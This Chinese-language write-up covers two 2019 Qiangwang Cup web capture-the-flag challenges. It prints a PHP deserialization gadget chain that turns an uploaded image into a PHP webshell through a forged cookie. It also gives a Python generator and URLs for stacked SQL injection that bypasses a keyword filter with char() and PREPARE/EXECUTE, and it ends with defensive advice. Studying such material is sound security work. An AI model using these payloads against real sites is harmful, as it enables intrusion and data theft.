2019强网杯Web部分Writeup
字数 1031 2025-08-18 11:38:41
强网杯2019 Web题目解析与漏洞利用教学
1. Upload题目分析
1.1 题目概述
题目提供了一个具有注册、登录和图片上传功能的Web应用,目标是利用漏洞获取服务器shell。
1.2 漏洞发现过程
-
初始分析:
- 只能上传图片马,无法直接利用
- 通过抓包发现cookie包含序列化内容
- 目录探测发现
www.tar.gz源码包
-
源码审计:
- 发现关键文件:
web/controller/Index.phpweb/controller/Profile.phpweb/controller/Register.php
- 发现关键文件:
-
关键代码分析:
upload_img()函数中的文件操作:if(getimagesize($this->filename_tmp)){ @copy($this->filename_tmp, $this->filename); @unlink($this->filename_tmp);
1.3 漏洞利用链
-
反序列化利用:
- 通过控制cookie中的序列化数据触发漏洞
- 利用
__destruct()、__call()和__get()魔术方法构造调用链
-
攻击链:
Register->__destruct() Profile->__call() Profile->__get() Profile->upload_img() -
关键绕过:
- 通过设置类属性绕过检查:
public $checker=0; public $filename_tmp="原图片路径"; public $filename="目标php路径";
- 通过设置类属性绕过检查:
1.4 漏洞利用代码
<?php
namespace app\web\controller;
class Profile{
public $checker=0;
public $filename_tmp="../public/upload/.../原图片.png";
public $filename="../public/upload/.../shell.php";
public $upload_menu;
public $ext=1;
public $img;
public $except=array('index'=>'upload_img');
}
class Register{
public $checker;
public $registed=0;
}
$a=new Register();
$a->checker=new Profile();
$a->checker->checker = 0;
echo base64_encode(serialize($a));
?>
1.5 利用步骤
- 上传图片马
- 使用生成的payload替换cookie
- 刷新页面触发反序列化
- 访问生成的php文件获取shell
2. 随便注题目分析
2.1 题目概述
SQL注入题目,过滤了select|update|delete|drop|insert|where|.等关键词。
2.2 绕过技术
- 堆叠注入:使用
;执行多条SQL语句 - 字符拼接:使用
char()函数绕过关键词过滤 - 预处理语句:利用
PREPARE和EXECUTE执行动态SQL
2.3 利用脚本
payload = "0';set @s=concat(%s);PREPARE a FROM @s;EXECUTE a;"
exp = "select flag from `1919810931114514`"
res = ''
for i in exp:
res += "char(%s),"%(ord(i))
my_payload = payload%(res[:-1])
print(my_payload)
2.4 利用步骤
-
获取表名:
?inject=0';set @s=concat(char(115),char(101),...);PREPARE a FROM @s;EXECUTE a; -
获取字段名:
?inject=0';set @s=concat(char(115),char(101),...);PREPARE a FROM @s;EXECUTE a; -
获取flag:
?inject=0';set @s=concat(char(115),char(101),...);PREPARE a FROM @s;EXECUTE a;
3. 关键知识点总结
-
PHP反序列化漏洞:
- 魔术方法的利用(
__destruct,__call,__get) - 属性控制绕过安全检查
- 反序列化触发文件操作
- 魔术方法的利用(
-
SQL注入绕过技术:
- 堆叠注入
- 字符编码绕过
- 预处理语句利用
- 反引号绕过表名限制
-
文件上传漏洞:
- 图片马利用
- 文件操作函数滥用(
copy,unlink) - 路径控制
-
源码审计技巧:
- 目录探测
- 魔术方法分析
- 函数调用链追踪
4. 防御建议
-
反序列化防御:
- 避免反序列化用户输入
- 使用白名单限制可反序列化的类
- 对魔术方法进行安全审查
-
SQL注入防御:
- 使用预处理语句
- 严格过滤特殊字符
- 最小权限原则
-
文件上传防御:
- 严格检查文件类型和内容
- 限制上传目录执行权限
- 重命名上传文件